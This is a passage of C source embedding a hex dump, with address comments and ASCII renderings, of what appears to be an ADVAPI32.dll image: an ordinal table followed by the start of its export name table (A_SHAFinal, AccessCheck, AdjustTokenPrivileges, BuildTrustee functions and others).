\"\\x19\\x00\\x1A\\x00\\x1B\\x00\\x1C\\x00\\x1D\\x00\\x1E\\x00\\x1F\\x00\\x20\\x00\"   //................\n/* 7E292B20 */   \"\\x21\\x00\\x22\\x00\\x23\\x00\\x24\\x00\\x25\\x00\\x26\\x00\\x27\\x00\\x28\\x00\"   //!.\".#.$.%.&.'.(.\n/* 7E292B40 */   \"\\x29\\x00\\x2A\\x00\\x2B\\x00\\x2C\\x00\\x2D\\x00\\x2E\\x00\\x2F\\x00\\x30\\x00\"   //).*.+.,.-.../.0.\n/* 7E292B60 */   \"\\x31\\x00\\x32\\x00\\x33\\x00\\x34\\x00\\x35\\x00\\x36\\x00\\x37\\x00\\x38\\x00\"   //1.2.3.4.5.6.7.8.\n/* 7E292B80 */   \"\\x39\\x00\\x3A\\x00\\x3B\\x00\\x3C\\x00\\x3D\\x00\\x3E\\x00\\x3F\\x00\\x40\\x00\"   //9.:.;.<.=.>.?.@.\n/* 7E292BA0 */   \"\\x41\\x00\\x42\\x00\\x43\\x00\\x44\\x00\\x45\\x00\\x46\\x00\\x47\\x00\\x48\\x00\"   //A.B.C.D.E.F.G.H.\n/* 7E292BC0 */   \"\\x49\\x00\\x4A\\x00\\x4B\\x00\\x4C\\x00\\x4D\\x00\\x4E\\x00\\x4F\\x00\\x50\\x00\"   //I.J.K.L.M.N.O.P.\n/* 7E292BE0 */   \"\\x51\\x00\\x52\\x00\\x53\\x00\\x54\\x00\\x55\\x00\\x56\\x00\\x57\\x00\\x58\\x00\"   //Q.R.S.T.U.V.W.X.\n/* 7E292C00 */   \"\\x59\\x00\\x5A\\x00\\x5B\\x00\\x5C\\x00\\x5D\\x00\\x5E\\x00\\x5F\\x00\\x60\\x00\"   //Y.Z.[.\\.].^._.`.\n/* 7E292C20 */   \"\\x61\\x00\\x62\\x00\\x63\\x00\\x64\\x00\\x65\\x00\\x66\\x00\\x67\\x00\\x68\\x00\"   //a.b.c.d.e.f.g.h.\n/* 7E292C40 */   \"\\x69\\x00\\x6A\\x00\\x6B\\x00\\x6C\\x00\\x6D\\x00\\x6E\\x00\\x6F\\x00\\x70\\x00\"   //i.j.k.l.m.n.o.p.\n/* 7E292C60 */   \"\\x71\\x00\\x72\\x00\\x73\\x00\\x74\\x00\\x75\\x00\\x76\\x00\\x77\\x00\\x78\\x00\"   //q.r.s.t.u.v.w.x.\n/* 7E292C80 */   \"\\x79\\x00\\x7A\\x00\\x7B\\x00\\x7C\\x00\\x7D\\x00\\x7E\\x00\\x7F\\x00\\x80\\x00\"   //y.z.{.|.}.~.....\n/* 7E292CA0 */   \"\\x81\\x00\\x82\\x00\\x83\\x00\\x84\\x00\\x85\\x00\\x86\\x00\\x87\\x00\\x88\\x00\"   //................\n/* 7E292CC0 */   \"\\x89\\x00\\x8A\\x00\\x8B\\x00\\x8C\\x00\\x8D\\x00\\x8E\\x00\\x8F\\x00\\x90\\x00\"   //................\n/* 7E292CE0 */   \"\\x91\\x00\\x92\\x00\\x93\\x00\\x94\\x00\\x95\\x00\\x96\\x00\\x97\\x00\\x98\\x00\"   //................\n/* 7E292D00 */   \"\\x99\\x00\\x9A\\x00\\x9B\\x00\\x9C\\x00\\x9D\\x00\\x9E\\x00\\x9F\\x00\\xA0\\x00\"   //................\n/* 7E292D20 */   \"\\xA1\\x00\\xA2\\x00\\xA3\\x00\\xA4\\x00\\xA5\\x00\\xA6\\x00\\xA7\\x00\\xA8\\x00\"   //................\n/* 7E292D40 */   \"\\xA9\\x00\\xAA\\x00\\xAB\\x00\\xAC\\x00\\xAD\\x00\\xAE\\x00\\xAF\\x00\\xB0\\x00\"   //................\n/* 7E292D60 */   \"\\xB1\\x00\\xB2\\x00\\xB3\\x00\\xB4\\x00\\xB5\\x00\\xB6\\x00\\xB7\\x00\\xB8\\x00\"   //................\n/* 7E292D80 */   \"\\xB9\\x00\\xBA\\x00\\xBB\\x00\\xBC\\x00\\xBD\\x00\\xBE\\x00\\xBF\\x00\\xC0\\x00\"   //..............À.\n/* 7E292DA0 */   \"\\xC1\\x00\\xC2\\x00\\xC3\\x00\\xC4\\x00\\xC5\\x00\\xC6\\x00\\xC7\\x00\\xC8\\x00\"   //Á.Â.Ã.Ä.Å.Æ.Ç.È.\n/* 7E292DC0 */   \"\\xC9\\x00\\xCA\\x00\\xCB\\x00\\xCC\\x00\\xCD\\x00\\xCE\\x00\\xCF\\x00\\xD0\\x00\"   //É.Ê.Ë.Ì.Í.Î.Ï.Ð.\n/* 7E292DE0 */   \"\\xD1\\x00\\xD2\\x00\\xD3\\x00\\xD4\\x00\\xD5\\x00\\xD6\\x00\\xD7\\x00\\xD8\\x00\"   //Ñ.Ò.Ó.Ô.Õ.Ö.×.Ø.\n/* 7E292E00 */   \"\\xD9\\x00\\xDA\\x00\\xDB\\x00\\xDC\\x00\\xDD\\x00\\xDE\\x00\\xDF\\x00\\xE0\\x00\"   //Ù.Ú.Û.Ü.Ý.Þ.ß.à.\n/* 7E292E20 */   \"\\xE1\\x00\\xE2\\x00\\xE3\\x00\\xE4\\x00\\xE5\\x00\\xE6\\x00\\xE7\\x00\\xE8\\x00\"   //á.â.ã.ä.å.æ.ç.è.\n/* 7E292E40 */   \"\\xE9\\x00\\xEA\\x00\\xEB\\x00\\xEC\\x00\\xED\\x00\\xEE\\x00\\xEF\\x00\\xF0\\x00\"   //é.ê.ë.ì.í.î.ï.ð.\n/* 7E292E60 */   \"\\xF1\\x00\\xF2\\x00\\xF3\\x00\\xF4\\x00\\xF5\\x00\\xF6\\x00\\xF7\\x00\\xF8\\x00\"   //ñ.ò.ó.ô.õ.ö.÷.ø.\n/* 7E292E80 */   \"\\xF9\\x00\\xFA\\x00\\xFB\\x00\\xFC\\x00\\xFD\\x00\\xFE\\x00\\xFF\\x00\\x00\\x01\"   //ù.ú.û.ü.ý.þ.ÿ...\n/* 7E292EA0 */   \"\\x01\\x01\\x02\\x01\\x03\\x01\\x04\\x01\\x05\\x01\\x06\\x01\\x07\\x01\\x08\\x01\"   //................\n/* 7E292EC0 */   \"\\x09\\x01\\x0A\\x01\\x0B\\x01\\x0C\\x01\\x0D\\x01\\x0E\\x01\\x0F\\x01\\x10\\x01\"   //................\n/* 7E292EE0 */   \"\\x11\\x01\\x12\\x01\\x13\\x01\\x14\\x01\\x15\\x01\\x16\\x01\\x17\\x01\\x18\\x01\"   //................\n/* 7E292F00 */   \"\\x19\\x01\\x1A\\x01\\x1B\\x01\\x1C\\x01\\x1D\\x01\\x1E\\x01\\x1F\\x01\\x20\\x01\"   //................\n/* 7E292F20 */   \"\\x21\\x01\\x22\\x01\\x23\\x01\\x24\\x01\\x25\\x01\\x26\\x01\\x00\\x00\\x27\\x01\"   //!.\".#.$.%.&...'.\n/* 7E292F40 */   \"\\x28\\x01\\x29\\x01\\x2A\\x01\\x2B\\x01\\x2C\\x01\\x2D\\x01\\x2E\\x01\\x2F\\x01\"   //(.).*.+.,.-.../.\n/* 7E292F60 */   \"\\x30\\x01\\x31\\x01\\x32\\x01\\x33\\x01\\x34\\x01\\x35\\x01\\x36\\x01\\x37\\x01\"   //0.1.2.3.4.5.6.7.\n/* 7E292F80 */   \"\\x38\\x01\\x39\\x01\\x3A\\x01\\x3B\\x01\\x3C\\x01\\x3D\\x01\\x3E\\x01\\x3F\\x01\"   //8.9.:.;.<.=.>.?.\n/* 7E292FA0 */   \"\\x40\\x01\\x41\\x01\\x42\\x01\\x43\\x01\\x44\\x01\\x45\\x01\\x46\\x01\\x47\\x01\"   //@.A.B.C.D.E.F.G.\n/* 7E292FC0 */   \"\\x48\\x01\\x49\\x01\\x4A\\x01\\x4B\\x01\\x4C\\x01\\x4D\\x01\\x4E\\x01\\x4F\\x01\"   //H.I.J.K.L.M.N.O.\n/* 7E292FE0 */   \"\\x50\\x01\\x51\\x01\\x52\\x01\\x53\\x01\\x54\\x01\\x55\\x01\\x56\\x01\\x57\\x01\"   //P.Q.R.S.T.U.V.W.\n/* 7E293000 */   \"\\x58\\x01\\x59\\x01\\x5A\\x01\\x5B\\x01\\x5C\\x01\\x5D\\x01\\x5E\\x01\\x5F\\x01\"   //X.Y.Z.[.\\.].^._.\n/* 7E293020 */   \"\\x60\\x01\\x61\\x01\\x62\\x01\\x63\\x01\\x64\\x01\\x65\\x01\\x66\\x01\\x67\\x01\"   //`.a.b.c.d.e.f.g.\n/* 7E293040 */   \"\\x68\\x01\\x69\\x01\\x6A\\x01\\x6B\\x01\\x6D\\x01\\x6C\\x01\\x6E\\x01\\x6F\\x01\"   //h.i.j.k.m.l.n.o.\n/* 7E293060 */   \"\\x70\\x01\\x71\\x01\\x72\\x01\\x73\\x01\\x74\\x01\\x75\\x01\\x76\\x01\\x77\\x01\"   //p.q.r.s.t.u.v.w.\n/* 7E293080 */   \"\\x78\\x01\\x79\\x01\\x7A\\x01\\x7B\\x01\\x7C\\x01\\x7D\\x01\\x7E\\x01\\x7F\\x01\"   //x.y.z.{.|.}.~...\n/* 7E2930A0 */   \"\\x80\\x01\\x81\\x01\\x82\\x01\\x83\\x01\\x84\\x01\\x85\\x01\\x86\\x01\\x87\\x01\"   //................\n/* 7E2930C0 */   \"\\x88\\x01\\x89\\x01\\x8A\\x01\\x8B\\x01\\x8C\\x01\\x8D\\x01\\x8E\\x01\\x8F\\x01\"   //................\n/* 7E2930E0 */   \"\\x90\\x01\\x91\\x01\\x92\\x01\\x93\\x01\\x94\\x01\\x96\\x01\\x95\\x01\\x98\\x01\"   //................\n/* 7E293100 */   \"\\x97\\x01\\x99\\x01\\x9A\\x01\\x9B\\x01\\x9C\\x01\\x9D\\x01\\x9E\\x01\\x9F\\x01\"   //................\n/* 7E293120 */   \"\\xA0\\x01\\xA1\\x01\\xA2\\x01\\xA3\\x01\\xA4\\x01\\xA5\\x01\\xA6\\x01\\xA7\\x01\"   //................\n/* 7E293140 */   \"\\xA8\\x01\\xA9\\x01\\xAA\\x01\\xAB\\x01\\xAC\\x01\\xAD\\x01\\xAE\\x01\\xAF\\x01\"   //................\n/* 7E293160 */   \"\\xB0\\x01\\xB1\\x01\\xB2\\x01\\xB3\\x01\\xB4\\x01\\xB5\\x01\\xB6\\x01\\xB7\\x01\"   //................\n/* 7E293180 */   \"\\xB8\\x01\\xB9\\x01\\xBA\\x01\\xBB\\x01\\xBC\\x01\\xBD\\x01\\xBE\\x01\\xBF\\x01\"   //................\n/* 7E2931A0 */   \"\\xC0\\x01\\xC1\\x01\\xC2\\x01\\xC3\\x01\\xC4\\x01\\xC5\\x01\\xC6\\x01\\xC7\\x01\"   //À.Á.Â.Ã.Ä.Å.Æ.Ç.\n/* 7E2931C0 */   \"\\xC8\\x01\\xC9\\x01\\xCA\\x01\\xCB\\x01\\xCC\\x01\\xCD\\x01\\xCE\\x01\\xCF\\x01\"   //È.É.Ê.Ë.Ì.Í.Î.Ï.\n/* 7E2931E0 */   \"\\xD0\\x01\\xD1\\x01\\xD2\\x01\\xD3\\x01\\xD4\\x01\\xD5\\x01\\xD6\\x01\\xD7\\x01\"   //Ð.Ñ.Ò.Ó.Ô.Õ.Ö.×.\n/* 7E293200 */   \"\\xD8\\x01\\xD9\\x01\\xDA\\x01\\xDB\\x01\\xDC\\x01\\xDD\\x01\\xDE\\x01\\xDF\\x01\"   //Ø.Ù.Ú.Û.Ü.Ý.Þ.ß.\n/* 7E293220 */   \"\\xE0\\x01\\xE1\\x01\\xE2\\x01\\xE3\\x01\\xE4\\x01\\xE5\\x01\\xE6\\x01\\xE7\\x01\"   //à.á.â.ã.ä.å.æ.ç.\n/* 7E293240 */   \"\\xE8\\x01\\xE9\\x01\\xEA\\x01\\xEB\\x01\\xEC\\x01\\xED\\x01\\xEE\\x01\\xEF\\x01\"   //è.é.ê.ë.ì.í.î.ï.\n/* 7E293260 */   \"\\xF0\\x01\\xF1\\x01\\xF2\\x01\\xF3\\x01\\xF4\\x01\\xF5\\x01\\xF6\\x01\\xF7\\x01\"   //ð.ñ.ò.ó.ô.õ.ö.÷.\n/* 7E293280 */   \"\\xF8\\x01\\xF9\\x01\\xFA\\x01\\xFB\\x01\\xFC\\x01\\xFD\\x01\\xFE\\x01\\xFF\\x01\"   //ø.ù.ú.û.ü.ý.þ.ÿ.\n/* 7E2932A0 */   \"\\x00\\x02\\x01\\x02\\x02\\x02\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x07\\x02\"   //................\n/* 7E2932C0 */   \"\\x08\\x02\\x09\\x02\\x0A\\x02\\x0B\\x02\\x0C\\x02\\x0D\\x02\\x0E\\x02\\x0F\\x02\"   //................\n/* 7E2932E0 */   \"\\x10\\x02\\x11\\x02\\x12\\x02\\x13\\x02\\x14\\x02\\x15\\x02\\x16\\x02\\x17\\x02\"   //................\n/* 7E293300 */   \"\\x18\\x02\\x19\\x02\\x1A\\x02\\x1B\\x02\\x1C\\x02\\x1D\\x02\\x1E\\x02\\x1F\\x02\"   //................\n/* 7E293320 */   \"\\x20\\x02\\x21\\x02\\x22\\x02\\x23\\x02\\x24\\x02\\x25\\x02\\x26\\x02\\x27\\x02\"   //..!.\".#.$.%.&.'.\n/* 7E293340 */   \"\\x28\\x02\\x29\\x02\\x2A\\x02\\x2B\\x02\\x2C\\x02\\x2D\\x02\\x2E\\x02\\x2F\\x02\"   //(.).*.+.,.-.../.\n/* 7E293360 */   \"\\x30\\x02\\x31\\x02\\x32\\x02\\x33\\x02\\x34\\x02\\x35\\x02\\x36\\x02\\x37\\x02\"   //0.1.2.3.4.5.6.7.\n/* 7E293380 */   \"\\x38\\x02\\x39\\x02\\x3A\\x02\\x3B\\x02\\x3C\\x02\\x3D\\x02\\x3E\\x02\\x3F\\x02\"   //8.9.:.;.<.=.>.?.\n/* 7E2933A0 */   \"\\x40\\x02\\x41\\x02\\x42\\x02\\x43\\x02\\x44\\x02\\x45\\x02\\x46\\x02\\x47\\x02\"   //@.A.B.C.D.E.F.G.\n/* 7E2933C0 */   \"\\x48\\x02\\x49\\x02\\x4A\\x02\\x4B\\x02\\x4C\\x02\\x4D\\x02\\x4E\\x02\\x4F\\x02\"   //H.I.J.K.L.M.N.O.\n/* 7E2933E0 */   \"\\x50\\x02\\x51\\x02\\x52\\x02\\x53\\x02\\x54\\x02\\x55\\x02\\x56\\x02\\x57\\x02\"   //P.Q.R.S.T.U.V.W.\n/* 7E293400 */   \"\\x58\\x02\\x59\\x02\\x5A\\x02\\x5B\\x02\\x5C\\x02\\x5D\\x02\\x5E\\x02\\x5F\\x02\"   //X.Y.Z.[.\\.].^._.\n/* 7E293420 */   \"\\x60\\x02\\x61\\x02\\x62\\x02\\x63\\x02\\x64\\x02\\x65\\x02\\x66\\x02\\x67\\x02\"   //`.a.b.c.d.e.f.g.\n/* 7E293440 */   \"\\x68\\x02\\x69\\x02\\x6A\\x02\\x6B\\x02\\x6C\\x02\\x6D\\x02\\x6E\\x02\\x6F\\x02\"   //h.i.j.k.l.m.n.o.\n/* 7E293460 */   \"\\x70\\x02\\x71\\x02\\x72\\x02\\x73\\x02\\x74\\x02\\x75\\x02\\x76\\x02\\x77\\x02\"   //p.q.r.s.t.u.v.w.\n/* 7E293480 */   \"\\x78\\x02\\x79\\x02\\x7A\\x02\\x7B\\x02\\x7C\\x02\\x7D\\x02\\x7E\\x02\\x7F\\x02\"   //x.y.z.{.|.}.~...\n/* 7E2934A0 */   \"\\x80\\x02\\x81\\x02\\x82\\x02\\x83\\x02\\x84\\x02\\x85\\x02\\x86\\x02\\x87\\x02\"   //................\n/* 7E2934C0 */   \"\\x88\\x02\\x89\\x02\\x8A\\x02\\x8B\\x02\\x8C\\x02\\x8D\\x02\\x8E\\x02\\x8F\\x02\"   //................\n/* 7E2934E0 */   \"\\x90\\x02\\x91\\x02\\x92\\x02\\x93\\x02\\x94\\x02\\x95\\x02\\x96\\x02\\x97\\x02\"   //................\n/* 7E293500 */   \"\\x98\\x02\\x99\\x02\\x9A\\x02\\x9B\\x02\\x9C\\x02\\x9D\\x02\\x9E\\x02\\x9F\\x02\"   //................\n/* 7E293520 */   \"\\xA0\\x02\\xA1\\x02\\xA2\\x02\\xA3\\x02\\xA4\\x02\\x41\\x44\\x56\\x41\\x50\\x49\"   //..........ADVAPI\n/* 7E293540 */   \"\\x33\\x32\\x2E\\x64\\x6C\\x6C\\x00\\x41\\x5F\\x53\\x48\\x41\\x46\\x69\\x6E\\x61\"   //32.dll.A_SHAFina\n/* 7E293560 */   \"\\x6C\\x00\\x41\\x5F\\x53\\x48\\x41\\x49\\x6E\\x69\\x74\\x00\\x41\\x5F\\x53\\x48\"   //l.A_SHAInit.A_SH\n/* 7E293580 */   \"\\x41\\x55\\x70\\x64\\x61\\x74\\x65\\x00\\x41\\x62\\x6F\\x72\\x74\\x53\\x79\\x73\"   //AUpdate.AbortSys\n/* 7E2935A0 */   \"\\x74\\x65\\x6D\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x41\\x00\\x41\\x62\\x6F\"   //temShutdownA.Abo\n/* 7E2935C0 */   \"\\x72\\x74\\x53\\x79\\x73\\x74\\x65\\x6D\\x53\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\"   //rtSystemShutdown\n/* 7E2935E0 */   \"\\x57\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x00\\x41\\x63\"   //W.AccessCheck.Ac\n/* 7E293600 */   \"\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\"   //cessCheckAndAudi\n/* 7E293620 */   \"\\x74\\x41\\x6C\\x61\\x72\\x6D\\x41\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\"   //tAlarmA.AccessCh\n/* 7E293640 */   \"\\x65\\x63\\x6B\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\"   //eckAndAuditAlarm\n/* 7E293660 */   \"\\x57\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\"   //W.AccessCheckByT\n/* 7E293680 */   \"\\x79\\x70\\x65\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\"   //ype.AccessCheckB\n/* 7E2936A0 */   \"\\x79\\x54\\x79\\x70\\x65\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\"   //yTypeAndAuditAla\n/* 7E2936C0 */   \"\\x72\\x6D\\x41\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\"   //rmA.AccessCheckB\n/* 7E2936E0 */   \"\\x79\\x54\\x79\\x70\\x65\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\"   //yTypeAndAuditAla\n/* 7E293700 */   \"\\x72\\x6D\\x57\\x00\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\"   //rmW.AccessCheckB\n/* 7E293720 */   \"\\x79\\x54\\x79\\x70\\x65\\x52\\x65\\x73\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x00\"   //yTypeResultList.\n/* 7E293740 */   \"\\x41\\x63\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\"   //AccessCheckByTyp\n/* 7E293760 */   \"\\x65\\x52\\x65\\x73\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x41\\x6E\\x64\\x41\\x75\"   //eResultListAndAu\n/* 7E293780 */   \"\\x64\\x69\\x74\\x41\\x6C\\x61\\x72\\x6D\\x41\\x00\\x41\\x63\\x63\\x65\\x73\\x73\"   //ditAlarmA.Access\n/* 7E2937A0 */   \"\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\\x65\\x52\\x65\\x73\\x75\\x6C\"   //CheckByTypeResul\n/* 7E2937C0 */   \"\\x74\\x4C\\x69\\x73\\x74\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x6C\\x61\"   //tListAndAuditAla\n/* 7E2937E0 */   \"\\x72\\x6D\\x42\\x79\\x48\\x61\\x6E\\x64\\x6C\\x65\\x41\\x00\\x41\\x63\\x63\\x65\"   //rmByHandleA.Acce\n/* 7E293800 */   \"\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\\x65\\x52\\x65\\x73\"   //ssCheckByTypeRes\n/* 7E293820 */   \"\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\\x74\\x41\"   //ultListAndAuditA\n/* 7E293840 */   \"\\x6C\\x61\\x72\\x6D\\x42\\x79\\x48\\x61\\x6E\\x64\\x6C\\x65\\x57\\x00\\x41\\x63\"   //larmByHandleW.Ac\n/* 7E293860 */   \"\\x63\\x65\\x73\\x73\\x43\\x68\\x65\\x63\\x6B\\x42\\x79\\x54\\x79\\x70\\x65\\x52\"   //cessCheckByTypeR\n/* 7E293880 */   \"\\x65\\x73\\x75\\x6C\\x74\\x4C\\x69\\x73\\x74\\x41\\x6E\\x64\\x41\\x75\\x64\\x69\"   //esultListAndAudi\n/* 7E2938A0 */   \"\\x74\\x41\\x6C\\x61\\x72\\x6D\\x57\\x00\\x41\\x64\\x64\\x41\\x63\\x63\\x65\\x73\"   //tAlarmW.AddAcces\n/* 7E2938C0 */   \"\\x73\\x41\\x6C\\x6C\\x6F\\x77\\x65\\x64\\x41\\x63\\x65\\x00\\x41\\x64\\x64\\x41\"   //sAllowedAce.AddA\n/* 7E2938E0 */   \"\\x63\\x63\\x65\\x73\\x73\\x41\\x6C\\x6C\\x6F\\x77\\x65\\x64\\x41\\x63\\x65\\x45\"   //ccessAllowedAceE\n/* 7E293900 */   \"\\x78\\x00\\x41\\x64\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x41\\x6C\\x6C\\x6F\\x77\"   //x.AddAccessAllow\n/* 7E293920 */   \"\\x65\\x64\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x63\\x65\\x00\\x41\\x64\\x64\\x41\"   //edObjectAce.AddA\n/* 7E293940 */   \"\\x63\\x63\\x65\\x73\\x73\\x44\\x65\\x6E\\x69\\x65\\x64\\x41\\x63\\x65\\x00\\x41\"   //ccessDeniedAce.A\n/* 7E293960 */   \"\\x64\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x44\\x65\\x6E\\x69\\x65\\x64\\x41\\x63\"   //ddAccessDeniedAc\n/* 7E293980 */   \"\\x65\\x45\\x78\\x00\\x41\\x64\\x64\\x41\\x63\\x63\\x65\\x73\\x73\\x44\\x65\\x6E\"   //eEx.AddAccessDen\n/* 7E2939A0 */   \"\\x69\\x65\\x64\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x63\\x65\\x00\\x41\\x64\\x64\"   //iedObjectAce.Add\n/* 7E2939C0 */   \"\\x41\\x63\\x65\\x00\\x41\\x64\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x63\\x63\\x65\"   //Ace.AddAuditAcce\n/* 7E2939E0 */   \"\\x73\\x73\\x41\\x63\\x65\\x00\\x41\\x64\\x64\\x41\\x75\\x64\\x69\\x74\\x41\\x63\"   //ssAce.AddAuditAc\n/* 7E293A00 */   \"\\x63\\x65\\x73\\x73\\x41\\x63\\x65\\x45\\x78\\x00\\x41\\x64\\x64\\x41\\x75\\x64\"   //cessAceEx.AddAud\n/* 7E293A20 */   \"\\x69\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x63\"   //itAccessObjectAc\n/* 7E293A40 */   \"\\x65\\x00\\x41\\x64\\x64\\x55\\x73\\x65\\x72\\x73\\x54\\x6F\\x45\\x6E\\x63\\x72\"   //e.AddUsersToEncr\n/* 7E293A60 */   \"\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x00\\x41\\x64\\x6A\\x75\\x73\\x74\"   //yptedFile.Adjust\n/* 7E293A80 */   \"\\x54\\x6F\\x6B\\x65\\x6E\\x47\\x72\\x6F\\x75\\x70\\x73\\x00\\x41\\x64\\x6A\\x75\"   //TokenGroups.Adju\n/* 7E293AA0 */   \"\\x73\\x74\\x54\\x6F\\x6B\\x65\\x6E\\x50\\x72\\x69\\x76\\x69\\x6C\\x65\\x67\\x65\"   //stTokenPrivilege\n/* 7E293AC0 */   \"\\x73\\x00\\x41\\x6C\\x6C\\x6F\\x63\\x61\\x74\\x65\\x41\\x6E\\x64\\x49\\x6E\\x69\"   //s.AllocateAndIni\n/* 7E293AE0 */   \"\\x74\\x69\\x61\\x6C\\x69\\x7A\\x65\\x53\\x69\\x64\\x00\\x41\\x6C\\x6C\\x6F\\x63\"   //tializeSid.Alloc\n/* 7E293B00 */   \"\\x61\\x74\\x65\\x4C\\x6F\\x63\\x61\\x6C\\x6C\\x79\\x55\\x6E\\x69\\x71\\x75\\x65\"   //ateLocallyUnique\n/* 7E293B20 */   \"\\x49\\x64\\x00\\x41\\x72\\x65\\x41\\x6C\\x6C\\x41\\x63\\x63\\x65\\x73\\x73\\x65\"   //Id.AreAllAccesse\n/* 7E293B40 */   \"\\x73\\x47\\x72\\x61\\x6E\\x74\\x65\\x64\\x00\\x41\\x72\\x65\\x41\\x6E\\x79\\x41\"   //sGranted.AreAnyA\n/* 7E293B60 */   \"\\x63\\x63\\x65\\x73\\x73\\x65\\x73\\x47\\x72\\x61\\x6E\\x74\\x65\\x64\\x00\\x42\"   //ccessesGranted.B\n/* 7E293B80 */   \"\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x42\"   //ackupEventLogA.B\n/* 7E293BA0 */   \"\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\\x00\\x42\"   //ackupEventLogW.B\n/* 7E293BC0 */   \"\\x75\\x69\\x6C\\x64\\x45\\x78\\x70\\x6C\\x69\\x63\\x69\\x74\\x41\\x63\\x63\\x65\"   //uildExplicitAcce\n/* 7E293BE0 */   \"\\x73\\x73\\x57\\x69\\x74\\x68\\x4E\\x61\\x6D\\x65\\x41\\x00\\x42\\x75\\x69\\x6C\"   //ssWithNameA.Buil\n/* 7E293C00 */   \"\\x64\\x45\\x78\\x70\\x6C\\x69\\x63\\x69\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x57\"   //dExplicitAccessW\n/* 7E293C20 */   \"\\x69\\x74\\x68\\x4E\\x61\\x6D\\x65\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\\x49\\x6D\"   //ithNameW.BuildIm\n/* 7E293C40 */   \"\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x45\\x78\\x70\\x6C\\x69\\x63\\x69\"   //personateExplici\n/* 7E293C60 */   \"\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x57\\x69\\x74\\x68\\x4E\\x61\\x6D\\x65\\x41\"   //tAccessWithNameA\n/* 7E293C80 */   \"\\x00\\x42\\x75\\x69\\x6C\\x64\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\"   //.BuildImpersonat\n/* 7E293CA0 */   \"\\x65\\x45\\x78\\x70\\x6C\\x69\\x63\\x69\\x74\\x41\\x63\\x63\\x65\\x73\\x73\\x57\"   //eExplicitAccessW\n/* 7E293CC0 */   \"\\x69\\x74\\x68\\x4E\\x61\\x6D\\x65\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\\x49\\x6D\"   //ithNameW.BuildIm\n/* 7E293CE0 */   \"\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\\x74\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x65\"   //personateTrustee\n/* 7E293D00 */   \"\\x41\\x00\\x42\\x75\\x69\\x6C\\x64\\x49\\x6D\\x70\\x65\\x72\\x73\\x6F\\x6E\\x61\"   //A.BuildImpersona\n/* 7E293D20 */   \"\\x74\\x65\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\"   //teTrusteeW.Build\n/* 7E293D40 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\"   //SecurityDescript\n/* 7E293D60 */   \"\\x6F\\x72\\x41\\x00\\x42\\x75\\x69\\x6C\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\"   //orA.BuildSecurit\n/* 7E293D80 */   \"\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x57\\x00\\x42\\x75\\x69\"   //yDescriptorW.Bui\n/* 7E293DA0 */   \"\\x6C\\x64\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x4E\\x61\\x6D\"   //ldTrusteeWithNam\n/* 7E293DC0 */   \"\\x65\\x41\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x57\"   //eA.BuildTrusteeW\n/* 7E293DE0 */   \"\\x69\\x74\\x68\\x4E\\x61\\x6D\\x65\\x57\\x00\\x42\\x75\\x69\\x6C\\x64\\x54\\x72\"   //ithNameW.BuildTr\n/* 7E293E00 */   \"\\x75\\x73\\x74\\x65\\x65\\x57\\x69\\x74\\x68\\x4F\\x62\\x6A\\x65\\x63\\x74\\x73\"   //usteeWithObjects\n/* 7E293E20 */   